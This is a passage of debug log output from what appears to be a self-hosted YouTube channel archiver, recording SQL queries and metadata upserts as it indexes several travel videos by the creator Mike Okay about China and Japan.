m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:27.435 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [220422] 18:28:27.435 [debug] Current batch of media processed. Will check again in 1000ms 18:28:28.436 [debug] Current batch of media processed. Will check again in 1000ms 18:28:29.437 [debug] Current batch of media processed. Will check again in 1000ms 18:28:30.438 [debug] Current batch of media processed. Will check again in 1000ms 18:28:31.439 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "duration" => 2055, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", "id" => "B_S4NGLGbIM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B_S4NGLGbIM", "playlist_index" => 5, "timestamp" => 1781282249, "title" => "Finding China’s Lost Cave Village (30 years abandoned)", "upload_date" => "20260612"} 18:28:31.440 [debug] QUERY OK source="sources" db=0.3ms idle=752.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:31.440 [debug] QUERY OK source="sources" db=0.1ms idle=752.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:31.441 [debug] QUERY OK source="media_items" db=0.3ms idle=753.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 18:28:31.442 [debug] QUERY OK source="media_items" db=0.7ms idle=753.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "9d54e411-0f15-4cda-8734-b82f1f95096f", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 01:28:31Z], ~U[2026-08-20 01:28:31Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 18:28:31.442 [debug] QUERY OK source="sources" db=0.2ms idle=32.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:31.442 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:31.443 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190542] 18:28:31.443 [debug] Current batch of media processed. Will check again in 1000ms 18:28:32.444 [debug] Current batch of media processed. Will check again in 1000ms 18:28:33.445 [debug] Current batch of media processed. Will check again in 1000ms 18:28:34.446 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "duration" => 1894, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", "id" => "EIlIbE9HuB4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EIlIbE9HuB4", "playlist_index" => 6, "timestamp" => 1780066592, "title" => "4,000 People Live On Japan's Most Active Volcano", "upload_date" => "20260529"} 18:28:34.447 [debug] QUERY OK source="sources" db=0.2ms idle=1759.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:34.447 [debug] QUERY OK source="sources" db=0.1ms idle=1760.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:34.448 [debug] QUERY OK source="media_items" db=0.2ms idle=1760.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 18:28:34.449 [debug] QUERY OK source="media_items" db=0.7ms idle=1035.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "b18c494a-d945-4ecf-9194-f72c6df57386", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 01:28:34Z], ~U[2026-08-20 01:28:34Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 18:28:34.449 [debug] QUERY OK source="sources" db=0.1ms idle=35.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:34.449 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:34.450 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129416] 18:28:34.450 [debug] Current batch of media processed. Will check again in 1000ms 18:28:35.451 [debug] Current batch of media processed. Will check again in 1000ms 18:28:36.452 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "duration" => 2331, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", "id" => "bjb-24XMa1g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bjb-24XMa1g", "playlist_index" => 7, "timestamp" => 1779466243, "title" => "Travelling Across Japan To Poison Myself", "upload_date" => "20260522"} 18:28:36.453 [debug] QUERY OK source="sources" db=0.3ms idle=765.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:36.453 [debug] QUERY OK source="sources" db=0.1ms idle=766.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:36.454 [debug] QUERY OK source="media_items" db=0.3ms idle=766.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 18:28:36.455 [debug] QUERY OK source="media_items" db=0.9ms idle=767.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "813053b3-8838-40ab-8a16-c8c3cc1428a6", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 01:28:36Z], ~U[2026-08-20 01:28:36Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 18:28:36.455 [debug] QUERY OK source="sources" db=0.1ms idle=39.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:36.456 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:36.456 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105295] 18:28:36.456 [debug] Current batch of media processed. Will check again in 1000ms 18:28:37.457 [debug] Current batch of media processed. Will check again in 1000ms 18:28:38.458 [debug] Current batch of media processed. Will check again in 1000ms 18:28:39.459 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2112, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", "id" => "CvIFRZqadIU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CvIFRZqadIU", "playlist_index" => 8, "timestamp" => 1777040983, "title" => "Japan Is Losing Something It Can Never Get Back", "upload_date" => "20260424"} 18:28:39.460 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1772.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:39.460 [debug] QUERY OK source="sources" db=0.2ms idle=1773.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:39.461 [debug] QUERY OK source="media_items" db=0.3ms idle=1773.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 18:28:39.462 [debug] QUERY OK source="media_items" db=1.1ms idle=1042.5ms 